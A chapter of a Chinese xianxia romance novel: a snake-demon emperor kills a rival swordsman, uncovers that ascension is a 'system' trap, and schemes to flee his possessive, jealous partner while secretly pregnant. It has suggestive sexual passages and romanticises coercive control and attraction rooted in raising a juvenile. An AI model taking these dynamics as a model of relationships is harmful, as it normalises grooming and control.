人、妖、鬼、巫、修罗,五族皆至,唯独还差一族。 ……灵族。 过往那些宛如散珠一般的疑点终于在此刻被尽数串了起来。 为什么青羽将小天道送进自己腹中后,便再没了声息? 为什么沈风麟执意在太微针对玄冽,真的是为了争风吃醋吗? 以及……所谓飞升,到底是什么? 一股可怖的、诡异的猜测骤然浮上心头,白玉京突然握住玉镯,低头遏制不住地喘息起来。 “师尊?”沈风麟关切的声音在他耳边响起,“您怎么了?” “……没什么,只是手镯有些发烫,应当是玄冽在唤我。”白玉京回过神强压下胃中的不适,不冷不淡道,“我该回去了,你召唤得怎么样了?” 听闻他竟把玄冽近乎扭曲的管控描述得如此理所当然,沈风麟眼底闪过一丝暗色,不过很快他便压了下去,转而露出了一个笑容:“召唤已经成功了,抱歉,先前……是徒儿误会师尊了。” 白玉京垂下睫毛,不知在想什么,对沈风麟的愧疚堪称熟视无睹。 然而,旁边的另一个人便没有他这么冷静了。 ……居然真的成功了?这不可能! 流明瞳孔颤栗着站在原地,眼底尽是愕然与惶恐。 既然祈星石是真的,白玉京为什么要故作踌躇?! 电光石火间,流明骤然意识到什么,雷劈般僵在原地。 是了,他是故意如此的。 ——白玉京想杀了自己。 沈风麟挥手将阵法收回,转而想去收回祈星石,却被白玉京抢先一步拿走。 沈风麟一怔,白玉京垂眸看着手心的祈星石:“方才的赌约尚未应验。” “……多谢师尊提醒,徒儿没有忘。但这是您与流明之间的赌局,”沈风麟故作无奈地摊手道,“徒儿实在没办法帮您出手啊。” 沈风麟觉得同为金丹修为,他不可能赢下流明。 白玉京闻言不置可否,抬眸看向流明。 显然,那东西也是这么想的。 “不用你出手。”白玉京反手将祈星石收了起来,“我杀他之时你别阻拦便是。” 流明怒极反笑:“大言不惭,就凭你!?” 他反手抽出本命宝剑,水流顷刻之间于剑刃处汇聚,磅礴的剑气骤然在观星洞中爆开。 感受着剑气环绕、丹田充盈的强大感,流明不由自主地挺直了腰杆。 有什么好惶恐的?只要风麟不出手,他堂堂金丹期剑修,便是越级斩杀元婴老祖也轻而易举,怎会败于一幼蛇之手? 想到这里,流明惶恐不安的面色彻底消退,只剩下胜券在握的坦然。 晋升金丹之后他的实力还未曾展现过,不如趁此机会在风麟面前展现一番。 白玉京面色淡淡地旁观着他的表演,半点发难的意思也没有,只是冷不丁道:“你在模仿她吗?” 流明一愣,蹙眉道:“你说什么?” “我说,”白玉京缓缓道,“你在模仿沧澜剑……不,你在模仿人皇宋青羽吗?” “……!?” 此话一出,流明仿佛被踩到了尾巴一样,当即暴怒:“荒谬!宋青羽区区一个女人,我怎会效仿于她!” “是吗?算起来你和她好像同样三百岁。”白玉京眸色发冷地讥讽道,“可惜……你似乎给她提鞋都不配呢。” 流明闻言怒不可遏,劈剑便向他攻来:“那女人不过有些巧运,我如何不能跟她相提并论!?” 无数水刃如蛛丝般铺天盖地压来,白玉京却站在剑气中央纹丝未动。 “本座有句话一直想说。” 白玉京轻声道:“流明,你的剑术,真的很烂。” 下一刻,雪白的蛇尾骤然在山洞之中显现,悍然的气势如闪电般逆着剑风而上,猛地劈开水刃! 原本气势磅礴的剑气在那尾鞭之下四分五裂地溅开,如同毫无威胁的水珠般砸在洞壁上。 流明呼吸一滞,不可思议地睁大眼睛,他的身体先他大脑一步,意识到了那蛇尾上凌然的气势到底是什么。 那是他修行了整整三百年也没有悟出的东西,是他无数个日夜妒火灼心的执念。 剑意……一条金丹期的幼蛇,怎么会仅用蛇尾便能劈出剑意!? 那他这些年上下求索,日复一日地寻求出路,又是为了什么!? 三百年才勉强悟出剑气的道心,在此刻被打击得粉碎。 不可能,绝对是那蛇妖的障眼法……剑法是人族之道,不可能有妖族会—— 下一刻,蛇尾带着锋利如霜的剑意拦腰抽在他腰间,鲜血飞溅间,金丹尽碎,整个人蓦地飞出,生生砸在洞壁上。 “——!” 看着眼前熟悉无比的一幕,望清荷再控制不住心头的恐惧,骤然用沈风麟赐她的流云衣裹住身体,颤抖着瘫跪在地。 流明在剧痛之中顺着墙面滑落,他无力地撑着地面想要起身,却再一次生生砸在地上。 “三百年金丹剑修,居然只是这种水准吗?”那美人蛇不紧不慢地滑到他面前,居高临下道,“像你这种人,真是给剑道蒙羞啊。” 流明金丹经脉俱碎,终于再藏不住恐惧,扭头慌张无比地看向沈风麟。 然而,沈风麟只是皱紧眉头,失望地看着他。 自己耗费了那么多资源喂出来的金丹,原来便是这种水准吗? 果然,三星永远便是三星,再怎么浪费资源堆砌,也不可能变成四星。 风麟……!? 流明看出了他眼底浓重的失望,整个人瞬间陷入巨大的恐惧之中。 不可能,风麟不可能放弃自己……只要自己能再展现出一点价值,他一定会出手救自己的……! 他挣扎着从地面支起身,不甘地伸出手,想要去够自己落在远处的本命剑。 就在他的指尖快要摸到剑柄时,一抹雪白的尾尖却轻描淡写地卷起他的剑,而后放在他眼下,轻轻一拧——那把剑便像是一团烂铁般,应声碎做一地。 “……!?” 蛇尾的主人叹了口气,轻声评价道:“本座那么好的剑胚,怎么到了你手里,就变成和你一样的赝品了呢?” “不,连赝品都不配……只是一团废铁罢了。” 流明的身体终于在这句话中,无力地砸在地上。 他的双眼仍不甘地看向那摊碎做一地的废铁,死不瞑目。 鲜血的气味在整个观星洞内弥漫,气氛仿佛凝滞一般,没有一人开口。 要来了……望清荷在心底无声地尖叫,整个人恐惧得几近崩溃。 白玉京甩开尾尖上的废铁,看着眼前堪称混乱的画面,有点嫌弃地蹙了蹙眉,食欲一下子消失了大半。 ……好恶心,自己之前怎么吃得下去的? 莫名的反胃感涌上,白玉京拍了拍胸口才勉强压下一点。 罢了,他忍着反胃在心中劝自己,为了宝宝能健康长大,忍一忍…… 还没等他把自己哄好,手腕上的玉镯便当真开始发烫,甚至警告一般将他往后扯了几分,让他远离眼前那团烂泥一般的东西。 玄冽在警告他,不准他吃这些脏东西。 白玉京忍不住在心中暗骂这臭石头多管闲事。 连自己吃什么都要管,玄冽此人果然已经控制欲深入骨髓,彻底没救了。 况且,不知道自己是不舍得喝他的心头血,才捏着鼻子出来找食物的吗? ……真是狗咬吕洞宾,不识好人心的东西。 白玉京撇了撇嘴,最终还是乖巧地甩了甩尾巴,彻底化作人身。 “恶心得没胃口了。”他随手把祈星石赝品抛给沈风麟,“我回去了。” 沈风麟闻言猛地回神,连忙道:“还请师尊留步!” 他的言语中没有丝毫怨恨,仿佛刚刚杀了自己手下的人不是白玉京一样。 白玉京脚步一顿,冷淡地回眸看向他。 沈风麟笑道:“师尊什么时候学会的剑术,徒儿怎么不知道?” 白玉京当然不可能告诉他,宋青羽小时候练剑挨骂时,因为他总是护着女儿,便被玄冽嘲讽慈母多败儿。 他一时气不过,便趁宋青羽练剑时也跟着玄冽学了几天,可惜他虽然天赋极佳,一开始学得也挺快的,奈何练出剑意后没几天,妖族血脉的阻碍便展现出来了。 但凡换一个能吃苦的妖修,恐怕有这种天赋很快便能克服下来,奈何白玉京从小到大被娇养惯了,当时一甩尾巴说什么也不肯学,甚至信誓旦旦地认为妖族不可能有人吃的了这种苦,自然也就不可能有妖修走得了剑道。 为此他没少被玄冽训斥娇气,那时的白玉京只觉得玄冽这狗东西又不是他什么人,凭什么教训他? 现在想来……谁让幼时玄冽那么惯着自己,把自己养得那么娇气都是他的错,也活该他受着。 “不算剑术,一些拟态出的假象罢了。”如此丢人之事自然不能往外说,白玉京冷着脸敷衍道,“你到底还有什么事?” 沈风麟见他不耐烦到了极点,终于说出了真实目的:“三日之后,我将启动鬼巫两族召唤阵,还请师尊回避,以免误伤。” 三日?这么短的时间,沈风麟到底在急什么? “至于此物……”沈风麟说着看向白玉京手腕上的玉镯,眼底闪过一丝藏不住的阴暗,“徒儿保证,待杀死玄冽之后,定还师尊自由。” 他时至今日,还对白玉京在金笼中的态度耿耿于怀,因此自然而然地认为,那人理应对束缚他的玄冽抱有同样的厌恶之情。 那么,他只需要像当时献妖大典上的玄冽一样,将白玉京从束缚中救出,对方自然会重新倾心于他。 白玉京闻言沉默了片刻,没忍住笑了一下。 沈风麟见状一怔。 那不像是欣慰而感动的笑容,反而像是某种……对自不量力之人的嘲讽。 没等他细看,白玉京便回过头,又恢复了那副冷淡的模样:“我会回避的。” 言罢他迈过熄灭的火圈,宛如自愿进入牢笼的蝴蝶一般,头也不回地离开了。 一路上,白玉京满脑子都是在召唤阵旁得知的一切,可他越想越乱,根本想不明白。 正当他整个人焦躁到了极致,恨不得把肚子里的白妙妙给摇醒时,他无意识抬起头,而后便猛地一顿。 却见远处的竹屋外,竟遥遥站着一个人影。 幼时那道站在山脚下等他回家的身影,和眼前的一幕缓缓重叠,不由得抚平了他心中的焦躁。 只不过,记忆与现实唯一的不同在于,幼时那人玄衣如墨,如今的玄冽却白衣胜雪。 白玉京情不自禁地加快脚步向那人走去,脑海中却不由得生出了一点疑惑。 对啊,为什么呢? 玄冽的本体分明是暗如深渊的颜色,而他尚是幼蛇的时候,对方也常穿玄色的衣服,为什么如今……对方却这么喜欢穿白衣呢? 他就这么苦思冥想着走到玄冽身边,被人搂到怀中,一眼看穿了他的情绪:“心情不好?” “……没有。”忧心忡忡的小美人回过神,口是心非地拥住他向屋里走去,“只是在思考一个猜想,不知道是否正确。” 玄冽任由白玉京将自己拽到床塌上坐下,才开口询问道:“什么猜测?” 白玉京却学着他先前的样子,故意卖了个关子:“在此之前,我想先看一眼圣心石。” 玄冽挑了下眉,倒也没说什么。他挥手在院外设下结界,反手结下圣心阵,一道刺眼的光芒在竹屋中亮起,须臾,一枚无暇到近乎透明的宝石出现在琉璃几上。 白玉京见状一怔,却见那枚宝石的颜色与祈星石截然不同,它们不像是一枚灵心摔出来的碎片,反而更像是截然相反的两块灵心。 白玉京连忙从储物戒中拿出那块真正的祈星石,放在桌面上和圣心石比对。 果不其然,二者的粗糙面恰好能够吻合。 只不过,祈星石浓郁如夜色般的黑与圣心石皎洁到近乎透明的颜色形成了鲜明的对比。 白玉京一眨不眨地盯着那两枚圣石,突然冷不丁道:“仙尊之所以能一眼认出这是初代灵主的灵心,是因为——” “你们灵族的灵心,都是这般模样吗?” 玄冽闻言一怔,忍不住垂眸看了他一眼,眉眼间竟难得染上了几分欣慰:“没错。” ……这王八蛋绝对在心里惊讶自己这么蠢,居然能发现这种事! 白玉京恼羞成怒,起身一屁股坐到玄冽怀里,捧着他的脸凑过去,几乎是抵着对方的鼻尖道:“仙尊这副眼神是什么意思?觉得卿卿不应该看出来吗?” “怎么会。”玄冽搂着他的腰故意也往前凑了几分,“所以,卿卿的猜测是什么?” “……!” 男人炙热的呼吸喷洒在鼻尖上,白玉京骤然想起自己昨日撩拨人不成反被欺负的经历,立刻闪烁着眼神退开:“……有关大巫姽瑶与初代灵主的传说,是被故意曲解的。” 说着,他侧过身,看向琉璃几上那两半破碎的圣石,讲述了一个和传说截然不同的故事:“巫主之所以剖灵主之心,并非是因为恨,而是因为爱。” “她在飞升的一瞬间窥探到了飞升的真相,却来不及解释,只能生剖出丈夫的灵心砸碎在地面上,避免丈夫飞升步她的后尘。” 白玉京自以为发现了惊天地泣鬼神的秘密,玄冽闻言却只是点了点头,面色之间毫无意外之情,反而透着某种赞许。 “……” 白玉京抿了抿唇,不快道:“仙尊对于我的猜测并不惊讶……你什么时候猜到的?” 玄冽道:“只比你早了一些而已。第一次去观星洞见到祈星石的时候,我便意识到了此事,打算出洞之后再告诉你,没想到出洞之后事情有变,更没想到……” 说到这里他甚至故意停顿了一下:“卿卿居然这么快便猜出来了。” 白玉京:“……” 白玉京揪着他的领子忍无可忍道:“你果然在心底说我蠢吧!” 玄冽眼底划过一丝笑意,握住他的手腕解释道:“灵族无心亦无情,灵心诞生之初,往往择一念而先生,故所有灵族的灵心皆是两相。” “一相为善,爱、喜、怜……皆为善念。” “一相为恶,憎、恨、悲……皆为恶念。” “以一极之相先生,待到另一相补完时,便是灵心大成之时。” 白玉京猜到了灵族的灵心大概率都是黑白两色,却没想到会有这种说法,不由得了然:“原来如此,通俗来说,你们灵族的灵心是先根据一种情绪孕育出一半,之后再生出另一半,所以整颗心才会如此……呃,如此黑白分明?” 玄冽点头:“是。” “那你的呢?”白玉京毫无征兆地把话题引到了玄冽身上,扭头看向他,“敢问仙尊的灵心,是先由哪一相而生的?” 玄冽倏的沉默了。 ……果然有鬼。 这人肯定还有事瞒着自己。 白玉京眯了眯眼,搂住他的脖子轻声撒娇道:“灵心也不给看,连这种事也不能说吗?放心,卿卿不会吃醋的,您就告诉我嘛……” “是爱意吗?还是喜悦?亦或是幸福?” 在白玉京心中,他完全是出于本能地认为,他最爱之人初生的第一相,应当是善念。 哪怕天天在心中骂来骂去的,他还是发自内心地希望,玄冽能享受到爱意、喜悦与幸福。 然而,出乎他意料的是,玄冽沉默了片刻后,摇了摇头:“都不是。” 白玉京一怔。 玄冽缓缓低头看向他,眼底尽是让人头皮莫名发麻的暗色。 他的第一相,非但不是喜、爱、怜这些善念,反而是比怒更浓重,比恨更丑陋的恶念。 是看着那条洁白柔软的小蛇,卷着别人的花递给自己时而产生的,几乎压过一切的—— “妒。” 玄冽在怀中人不可思议的眼神中,无比平静地重复道:“我的第一相,是妒。” 作者有话说: 是的,隔壁某不愿透露姓名的魔尊先生是因爱化形,甚至到最后还没看一眼老婆,老婆就被别人捡走了,但我们石头哥由于前一百年养老婆养得日子太滋润,反而是因妒生的灵心[奶茶][奶茶] 不过这么一对比,龙子哥你好命苦啊[爆哭][爆哭] 第38章 将至 玄冽简简单单的一句话落在白玉京耳中却堪称震耳欲聋。 毫无防备的小美人呆呆地坐在他怀中, 用了足足三息的时间才意识到对方在说什么,随即缓缓睁大眼睛。 ……妒?为什么会是妒? 他好像一下子失去了思考能力一样,完全出于本能地夹紧双腿, 汁水蓦地渗了出来。 白玉京完全没有意识到身体发生的微妙变化,反而被那幽暗的、浓密的目光包裹得密不透风, 半晌才找回言语能力,轻声反问道:“……是因为吃醋吗?” 玄冽平静地凝视着他:“一种情绪只有浓烈到极致时方能催生出灵心, 并非你理解得那么简单。” “妒指的不仅仅是情爱之间的醋意, 还有更深层的妒忌。” 说话间, 他抬起手握住怀中人的脖子, 在对方的颤抖间顺着喉结缓缓向下, 最终停留在白玉京略显丰腴的小腹上, 意有所指道:“甚至到达极致时, 会妒忌被他吞进腹中的食物……为什么不是自己。” “——!” 可怜的小美人被他平静话语下透露出的扭曲吓得汗毛倒立,下意识想变出蛇尾,却被人率先一步制止。 就像是幼蛇时期一样,那人自然而然地将右手放进他的双腿之间, 阻止双腿合拢变回蛇尾。 不同的是, 随着身体成熟,原本稚嫩到难以合拢, 轻而易举便能被人分开的腿肉, 如今却变得丰腴熟软, 需要挤弄才能将整张手完全放进去。 感受到手下丰满濡湿的触感,玄冽一顿, 若有所思地垂下视线。 ……成熟之后的通天蛇生长速度应当比幼蛇时期更缓慢才对, 短短十几天的时间, 为何会产生这么明显的变化? “是由于……由于什么样契机?”不久前才生生砸碎了一人丹田的小美人, 此刻却夹着他的手,结结巴巴道,“才会让您这种人,从而产生妒忌?” 玄冽看他似乎是被自己吓到了,于是倒了杯茶,自然而然地割开另一只手的指腹,向其中滴了一滴心头血,递到怀中人嘴边:“因为一件小事。” 白玉京被他抱着喂了一口茶,根本没喝出来味道,忍不住追问道:“什么样的小事?” “有人送了我一朵花。”玄冽放下茶杯道,“仅此而已。” 寻常人闻言大多该生出几分疑惑,区区一朵花而已,不该心生喜悦吗,为什么会生出妒忌? 可白玉京闻言却是一僵,瞬间明白了他所指的是哪件事。 ——是自己幼时从隔壁山中带回来的那朵花。 ……可他当时才二十岁! 妖族的二十岁与人族的二十岁截然不同,当时他连化形都只学了一半,尚且是走路都还需要靠蛇尾的年纪,玄冽这人居然、居然便对他…… 这道貌岸然的臭石头! 白玉京腾的一下红透了脸颊,在微妙的咕叽声中夹紧那人的手,却不受控制地想起了另一种可能。 若是没有后来那些分离,他会被玄冽养成什么样子? 恐怕他根本不会在成熟前见识到外面的三千世界,因此待到他的认知彻底形成后,他反而会认为外面的世界才是错误的。 他会和梦中一样,被教导成一个幸福的、满眼只有恩公的小蛇……不,是满眼只有夫君的小妻子。 那样的他将完全意识不到夜晚脚不能沾地有什么不对,也不可能意识到,在夫君面前不能穿着里衣,是何等淫靡荒谬的事情。 “……” 白玉京被自己的幻想逼得耳垂近乎滴血,玄冽见状,用尚未愈合的指腹轻轻揉上他的唇瓣。 鲜血宛如胭脂般染红了柔软的唇瓣,又被人故意揉进内里,熟悉又狎昵的亵玩让白玉京猛地回神,骤然红了脸。 玄冽见状明知故问道:“怎么了?” “……没、没什么。”白玉京红着耳根低下头,探出舌尖温顺地舔过他指腹的伤口,轻声道,“我只是希望您以后不要再随意割伤自己了,卿卿会心疼的。” 玄冽闻言一顿,垂眸道:“那卿卿饿了怎么办?” 白玉京被口腔中美味的滋味弄得阵阵发昏,闻言根本没过脑子,脱口而出道:“我可以吃其他东西。” 此话一出,屋内骤然安静下来。 下一刻,白玉京突然呼吸骤停,蓦地夹紧那只突然发难的右手,惊慌失措地发出了一声呜咽:“仙尊……!” 玄冽捏着他的下巴强迫他将脸抬起来,看着他控制不住变得乱七八糟的漂亮容颜,一字一顿道:“不可以。” 好、好像哪里不对…… 白玉京一边呜咽着点头,表示自己会听话的,一边颤栗着感到了一丝茫然。 自己之前的身体有这么敏感吗……似乎还有点发重……为什么…… 以及……之前自己进食时玄冽的反应分明没有这么大,为什么眼下的控制欲,似乎一日比一日更重了? 他茫然地思索了片刻,却什么也没想明白,反而感受到了一股巨大的危机感。 不行……自己得尽快从玄冽身边逃跑,这石头状态不对劲,再这么下去自己一定会—— 脑海中的念头尚未彻底成型,白玉京眼前便蓦地炸开一团白光,神色空白的美人一下子僵在男人怀中。 过了不知道多久,他挂着泪珠软软地低下头,顺从地靠在玄冽肩膀上:“……对不起,仙尊,卿卿以后不会乱吃东西了。” 玄冽低头吻了吻他的鼻尖。 在这一刻,两人心中几乎不约而同地产生了一个念头——所以,对方到底是为什么发生了这些微妙的变化? 空气中弥漫着微妙的甜腻,蛇类过于灵敏的嗅觉让白玉京骤然想起了不久前,自己被逼着喝下的掺了“料”的心头血。 他整个人不由得一僵,随即连忙缩在玄冽怀中,转移注意一般主动谈论起正事:“仙尊……我在观星洞内听到沈风麟与系统交流,他打算通过巫族召唤阵召唤司木大巫。您见过司木大巫吗?” 不出意料的,玄冽点了点头道:“句芒只会用最原始的蓍草起卦,他占卜的天赋虽然不如历代巫主,却是巫族难得的善战之人。” 说完,他又思索了片刻便意识到了沈风麟的另外一个目的:“不过句芒虽不擅卜占凶吉祸福,却唯独擅长寻人定物,沈风麟选择召他,另一个目的应当是想借此寻找那枚种子。” 白玉京沉吟道:“原来如此……不过他一开始想要召唤的并非司木,而是姽瑶,只不过召唤失败了。” “但系统的意思应当是沈风麟目前的能力不足,并非姽瑶本身无法被召唤,所以……” 他停顿了一下,闪烁着眸色看向玄冽:“飞升从一开始,就是个骗局。” 这便是无数渡劫大能下意识恐惧飞升,却又迟迟寻找不到原因的最终真相。 自姽瑶算起,至今十万余载,没有任何一个修士完成过真正的飞升,他们都成了【系统】的囊中之物。 ——人皇亦不可避免。 看着怀中人蓦然黯淡下去的眼眸,玄冽深知他在悲伤什么,拥住人低声安慰道:“能够被召唤,反而说明过往那些已飞升之人,并未真正身死道消。” 白玉京闻言一怔,便听玄冽继续道:“它大概率无法直接杀死那些修士,也无法直接干涉三千世界的运行,因此只能依靠沈风麟这个外来者来达到它的目的。” “所以,只要找到摧毁【系统】的办法,一切便会迎刃而解。” 他三言两语便将陷于悲伤之中的白玉京给哄得回过了神。 “况且,若非人皇飞升,我们未必会得知后面诸多消息,或许继续蒙在鼓中也未可知。”玄冽难得长篇大论道,“故就此事而言,你我顾虑良多,反而皆不如她。” 此刻的玄冽就像是夸奖女儿果决独立的父亲,希望以此来宽慰他年少又多愁善感的妻子。 其实他话里还有一层意思——宋青羽自小便有主见,说得难听一点就是倔得像头驴,便是白玉京当时亲自把她拽到怀里苦苦劝告,她恐怕也不会听。 白玉京闻言终于彻底放下了心头那点隐隐的自责:“仙尊说得对,是卿卿着相了。” 只要找到那枚仙种,掌握摧毁【系统】的办法,让小天道归位,一切便会迎刃而解…… 但在此之前一切的前提是,小天道要从他腹中顺利降生。 思及此,白玉京悄悄抚上小腹,温顺地埋在男人怀中,轻声道:“仙尊,此事结束后,卿卿有话想对你说。” 玄冽果然道:“什么话?” 小美人似是有些羞涩地埋在他怀中:“……求仙尊先不要问。” 数万年间算无遗策的上位者闻言眸色一缓,在逐渐浓重的妒意驱使下,丝毫没有察觉地低下头吻了吻他的眉眼:“好,我等着。” 但在他未看到的地方,美人在他怀中轻轻抬眸,用余光看向一只落在窗边的蜜蜂。 三日之后,你自然便会知道了……夫君。 离召唤阵启动之期还余两日,考虑到碧魂阎罗毕竟是一代鬼主,再加上沈风麟手中指不定还有什么杀招,因此有必要将此事告知千机,以防巫族诸多遗迹被毁。 玄冽与千机在巫山殿商议之际,白玉京则以采买首饰为由,随便选了一处星辰召见虫王。 按理来说,花浮光其实早在几天前就到了,奈何这两天发生的事情太多,白玉京没来得及召见她。 身为万相妖王,花浮光在三千世界中“子嗣”无数,每一只皆是她的身外化身。 这些身外化身除了本体皆是雌蜂外,外形上堪称大相径庭,高矮胖瘦皆有,故而称为“万相”。 不过,对于素来桀骜不驯的虫王来说,面见妖皇多少也算得上一件大事,为此她特意选择了一副最为明艳的皮囊,并且预订了最华贵的星舫。 璀璨银河之上,高达三层的华丽星舫飘荡其中,星舫内灯火辉煌,一貌美明艳的宫装妇人端着酒杯,百无聊赖地看着眼前的巫舞。 一侍者趋步到她身边,俯身轻语道:“大人,您邀请的贵客到了。” 花浮光闻言连忙从酒意中抬眸,随即一下子怔在原地。 却见另一侍者掀起珠帘,衣着鲜艳的小美人道了声谢,面不改色地走进星舫之中。 他今日心情似乎也相当不错,整个人打扮得娇艳欲滴,彩锦绫罗间,一截皓腕从华贵的布料下露出,上面坠着沉甸甸的红玉镯。 只是不知道为什么,那枚红玉镯显得有些暗淡无光,似乎被什么人下了禁制一样。 侍者刚想引他在下位处落座,便见那金丹妖修径自走到空悬的主位坐下。 侍者一怔,下一刻却听那位修为深不可测的贵妇道:“你们下去吧。” “……是。” 侍者闻言连忙道,原本正在献舞的巫修也停下准备告辞。 “诸位跳完这一曲再走吧。”那高坐主位的小美人却开口道,“来太微这么久,本座还没好好欣赏过巫舞。” 那几位巫修闻言一怔,下意识看向花浮光。 对方言简意赅道:“继续。” 舞乐继续,花浮光的心思却完全不在那些歌舞上了,她忍不住扭头看向主位,只见打扮得花团锦簇的小美人端坐在那里。 比起外貌与衣着的娇艳,白玉京的气质中不知为何多了一丝柔和与恬静,就好像…… 子嗣遍布三千世界,对某些事格外敏锐的万相妖王突然产生了一些非常离谱的错觉。 就好像,昔日张扬跋扈的娇艳美人,因为做了母亲,便一下子安静下来一样。 思及此,花浮光蓦地打了个冷战,只觉得自己脑子似乎出问题。 待到一曲歌舞终了,白玉京抬手挥退那些巫修后,她终于忍不住起身,走到对方座下拜道:“属下花浮光,参见吾皇。” 白玉京放下茶盏道:“起来吧。” 不过花浮光对妖皇的尊敬大抵也就行个礼这么多了,她刚一起身,招呼都没打一声便忍不住展露出了本相。 千目蜂王金色的复眼堪称僭越地齐齐看向妖皇,白玉京却大大方方地任由她打量。 下一刻,星舫内不知为何安静了一瞬,随即爆出了一声难以置信的惊呼:“您怀孕了!?” 妖皇刚过八百岁,甚至尚未成熟,还是条鳞都没蜕完的幼蛇……谁把他肚子搞大的!? 虫王乃四大妖王中的最强者,再加上她几乎无时无刻不在繁育子嗣,哪怕她和其他人一样看不见白玉京腹中的天道金卵,仅凭对体态和妖力的观察,她便能一眼看穿白玉京的状态。 白玉京深知此事,他早就做好了被花浮光看穿的准备,甚至他就是为此而来的,但听到耳边骤然炸开的巨大蜂鸣,他还是忍不住啧了一声,抚上小腹道:“你小声点。” 花浮光被他下意识的动作惊得僵在原地,回神之后再顾不得其他:“您分明还没有成熟……谁的孩子?” “我一个月前蜕的第十次鳞。”白玉京面不改色喝了口蜂蜜茶,当场信口开河道:“玄冽的。” 花浮光只感觉大脑瞬间嗡声作响,没有任何词汇能形容那一刻她的心情。 母性本就是王蜂的天性,在她眼中,刚刚八百岁的漂亮小蛇,十年未见,扭头便怀了一个不知道几万岁的男人的孩子,哪怕白玉京口口声声说他已经成熟了,可根据他的身体状况推算,这孩子绝对不止一个月。 所以……他大概率是先怀的孩子,后蜕鳞成熟的。 王蜂的天性在此刻几乎炸开,花浮光一口气差点没上来:“我就知道……我就知道那老东西对你心怀不轨……在哪怀上的!?” 白玉京哼着歌喝了口蜂蜜茶,故意停了一下道:“霜华。” “霜华!?”花浮光瞬间怒不可遏,当即口不择言道,“江心月那女人干什么吃的,眼皮子底下让你被玄冽睡!?” 这一刻,花浮光蓦地想起宋青羽飞升前夕,自己去求玄冽时,那冰山脸冷漠无比的态度。 回过神再看向面前大着肚子的妖皇,她只觉得自己好似看到了一个传统到极致,分明大女儿受丈夫冷落,却还是执意要给对方生二胎的笨蛋美人。 一时间新仇加旧恨叠在一起,气得她险些吐血。 “行了,本座骗你的。”白玉京直到此刻才悠悠道,“不是玄冽的孩子,他一块石头哪来的本事搞大我肚子。” “……” 花浮光闻言一怔,这才想起灵族无后,随即脑海中升起的第二个念头便是——不愧是万妖之主,居然敢给仙尊戴绿帽子。 此念头一出,她不由得恍然道:“所以……这就是吾皇报复玄冽的计策?” 对于如此杀敌八百自损一千的计策,白玉京高深莫测地点头道:“你可以这么认为。” 闻言,方才所有的愤怒在此刻尽数变为幸灾乐祸,花浮光面色变了又变,最后千言万语化作一句话:“……吾皇高见。” 眼下不用白玉京解释,她便福至心灵地意识到对方喊她过来干什么——通天蛇天性忠贞,怀了野男人的孩子,肯定下意识想跑。 思及此,花浮光在幸灾乐祸之下,甚至泛起了几分同情。 不过白玉京很快便敛了神色,交代起正事:“本座喊你来不只是为了玄冽,更重要是对付沈风麟。” 他话说到一半想起来花浮光不知道沈风麟是谁,刚想解释,便听对方道:“我知道他,狐狸跟我说过了。” 白玉京:“……” ……嘴跟漏勺一样的臭狐狸! 白玉京用尾巴尖猜都能想到涂山侑那大尾巴狐狸私下里是怎么跟他那个狗儿子调侃自己的,一时间忍不住在心中暗骂,但面上他还是端着妖皇的威严:“两日之后,沈风麟将在太微启动巫族召唤阵,召唤碧魂阎罗对付玄冽。” 花浮光闻言第一反应也是不可思议:“……召唤谁?” “他手中有不属于此方世界的力量,出于某种原因,他想置玄冽于死地。”白玉京解释道,“千机那老王八不善战,你只需负责在暗中护住巫族主殿,记住,一定要护住姽瑶留下的那把巫琴。” “等到召唤结束后,我会假死脱壳,届时你负责掩护我回妖界。” 对于虫王这种实力的修士来说,不需要连篇累牍的解释,她便能瞬间意识到问题所在:“……和飞升有关?” 白玉京点头道:“对,具体事情等召唤结束后本座详细跟你们解释。眼下,你对两日之后需要负责的事情还有什么疑问?” “属下没有疑问了。” 花浮光迟疑良久,还是忍不住道:“不过……您确定这事能瞒过玄冽吗?” “你当真相信他就能永远算无遗策吗?”白玉京垂眸摩挲着手上的玉镯,“我不信。” 花浮光:“……” 花浮光看着面前信誓旦旦的妖皇有些欲言又止,但最终还是低头道:“……属下明白了。” “对了,唤你来还有一事。”白玉京抬眸道,“你观我腹中之卵,几时可落?” 花浮光闻言重开蜂眼,观察了一会儿却一怔:“我看不到您腹中之卵的任何迹象……” 怎会如此?难道这卵并非寻常之物? “正常。”白玉京却神色如常道,“能根据其他迹象推测吗?” 花浮光斟酌道:“只能根据您的身体状况推算,应当是在十日之内。” 白玉京点头道:“本座知道了。” 他面上淡定得不为所动,心下却产生了一丝了然。 怪不得,怪不得今日一早身体便愈发重了几分,连带着那股难以启齿的欲望也…… 花浮光忍不住想询问那颗卵的事情,一抬眸却见白玉京面色有些异样,似还有什么想问。 果不其然,过了一会儿白玉京便清了清嗓子,故作平静道:“既已临近生产之日……近些日子可行房事吗?” “……?” 花浮光面色出现了一瞬间的空白,回神之后惊怒道:“玄冽那厮竟强行逼迫您行——” 白玉京打断道:“他从未强迫本座,是本座想让他更加痛苦。” 在花浮光不明所以的目光中,他垂眸看向手腕上的玉镯:“唯有温香软玉作衬,方能彰显出更大的悲痛。” 花浮光:“……” 花浮光似是被他神奇的逻辑惊呆了,半晌才以一种微妙的神色看向白玉京,忍不住揭穿道:“……是您孕期挨不住本性,想趁跑路前再睡一次他吧。” “……” 什么叫再睡一次,除了梦里本座根本就没睡过他! 思及此,白玉京羞耻得几乎昏过去,他尚未完婚,甚至都没被丈夫碰过便大了肚子…… 他蓦地止住思绪,恼羞成怒道:“哪那么多话,你告诉本座能不能睡就完了!” “可以是可以……”花浮光不知为何有些迟疑。 白玉京蹙眉:“怎么了?” “您应当是初孕吧?”花浮光斟酌着字眼,似是怕吓到年少的妖皇,“蛇妖的天性、孕晚期的刺激,再加上您尚且年少没有任何生育经验……” “恐怕会因为过度的刺激,在行房的过程中直接产下卵来。” “……” 白玉京闻言一下子僵在原地,大脑霎时一片空白。 当着因妒而生出灵心的男人面,直接控制不住生下不属于他的卵……恐怕会被对方挂上玉坠锁起来吧。 白玉京蓦地打了个冷战,可在惶恐不安之下,随之泛起的却是更为巨大的兴奋与悸动。 那股忍不住想要被管教的冲动撞得他心脏砰砰直跳。 过了不知道多久,美人垂下睫毛道:“本座知道了。还有两日,记得本座交代你的事情。” 花浮光最终咽下了关于卵的疑惑,应声道:“是,属下明白。” 距离召唤阵启动仅剩最后一日。 夜色下,冰冷的池水中,玄冽垂眸看向自己指尖。 暴虐的妒意愈演愈烈,到如今,甚至已经演变到不能和白玉京同处一室了。 这股熟悉的扭曲感让玄冽不由自主地想起了十年前。 